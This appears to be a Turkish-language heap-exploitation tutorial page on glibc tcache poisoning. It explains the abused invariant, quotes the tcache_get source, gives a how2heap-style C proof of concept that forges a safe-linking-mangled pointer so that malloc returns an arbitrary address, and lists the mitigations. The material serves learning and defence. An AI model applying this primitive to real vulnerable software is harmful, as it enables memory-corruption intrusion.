tcache poisoning¶
Free edilmiş bir chunk'ın
next(fd) pointer'ını overwrite ederek, o size'ın sonrakimalloc'unun attacker'ın seçtiği bir adresi döndürmesini sağlamak.
Mechanism¶
Suistimal edilen invariant: tcache_get, entries[tc_idx]'e ve chunk'ın next'ine körlemesine güvenir
tcache single-linked freelist'i neredeyse hiç doğrulama olmadan servis edilir.
Free edilmiş bir chunk yalnızca, ilk word'ü bir sonraki free chunk'a olan
forward pointer olan bir tcache_entry'dir:
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
uintptr_t key;
} tcache_entry;
tcache_get basitçe head'i pop eder ve e->next'i yeni list head'i olmaya
yükseltir — e->next'in heap'e işaret ettiğini ya da gerçek bir chunk'ı
adlandırdığını asla kontrol etmez:
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
if (__glibc_unlikely (!aligned_OK (e)))
malloc_printerr ("malloc(): unaligned tcache chunk detected");
tcache->entries[tc_idx] = REVEAL_PTR (e->next);
--(tcache->counts[tc_idx]);
e->key = 0;
return (void *) e;
}
Yani bir UAF/overflow kuyruğa alınmış bir chunk'ın next alanını
yazabilirse, o size'ın ikinci allocation'ı forge edilmiş adresi döndürür.
Fastbin'lerin aksine, hedefte size-field kontrolü yoktur, dolayısıyla
herhangi bir hizalı yazılabilir adres çalışır. glibc ≥ 2.32'de next,
PROTECT_PTR üzerinden mangle edilmiş olarak saklanır, dolayısıyla onu forge
etmek için bir heap-adresi leak'i gerekir (bkz. Mitigation).
Bu, chunk-içi mangle edilmiş next'i forge eden single-shot bir primitive'dir;
kontrol struct'ının ham/mangle edilmemiş entries[] head'lerini ve counts'unu
corrupt edip her size class'ı aynı anda hijack eden global varyant için bkz.
tcache metadata poisoning.
Walkthrough¶
Referans: shellphish how2heap tcache_poisoning.c (glibc 2.35). Poison write'ı
safe-linking'i hesaba katmalıdır: hedef (long)b >> 12 ile XOR-mangle edilir.
size_t stack_var[0x10];
size_t *target = /* a 16-byte-aligned slot in stack_var */;
intptr_t *a = malloc(128);
intptr_t *b = malloc(128);
free(a);
free(b); // tcache list: [ b -> a ]
// VULNERABILITY: assumes the address of b is known (heap leak on 2.32+)
b[0] = (intptr_t)((long)target ^ (long)b >> 12); // mangle next -> target
malloc(128); // returns b; list head advances to `target`
intptr_t *c = malloc(128); // returns `target`
assert((long)target == (long)c);
Beklenen çıktı:
The address we want malloc() to return is 0x7ffe........
...
Now the tcache list has [ 0x.....2a0 -> 0x.....290 ].
Now the tcache list has [ 0x.....2a0 -> 0x7ffe........ ].
1st malloc(128): 0x.....2a0
2nd malloc(128): 0x7ffe........
We got the control
İki glibc hardening patch'i tarifi değiştirir
- Patch
77dc0d86(count kontrolü), bazı kurulumlardafd'yi hijack etmeden önce bir ekstra padding chunk oluşturup free etmen gerektiği anlamına gelir. - Patch
a1a486d7safe-linking'i +aligned_OKkontrolünü tanıttı, dolayısıyla bir heap-adresi leak'i artık zorunlu ve hedef 16-byte aligned olmalıdır.
Mitigation¶
- Safe-Linking (glibc ≥ 2.32)
next'iPROTECT_PTR(pos, ptr) = ((pos >> 12) ^ ptr)olarak mangle eder, bir heap leak'i zorunlu kılar. tcache_get'tekialigned_OKkontrolü, hizasız bir forge edilmiş pointer'damalloc(): unaligned tcache chunk detectedile abort eder.keyalanı artıfree(): double free detected in tcache 2kontrolü, poison'ı kurmak için kullanılan double-free varyantına karşı çıtayı yükseltir.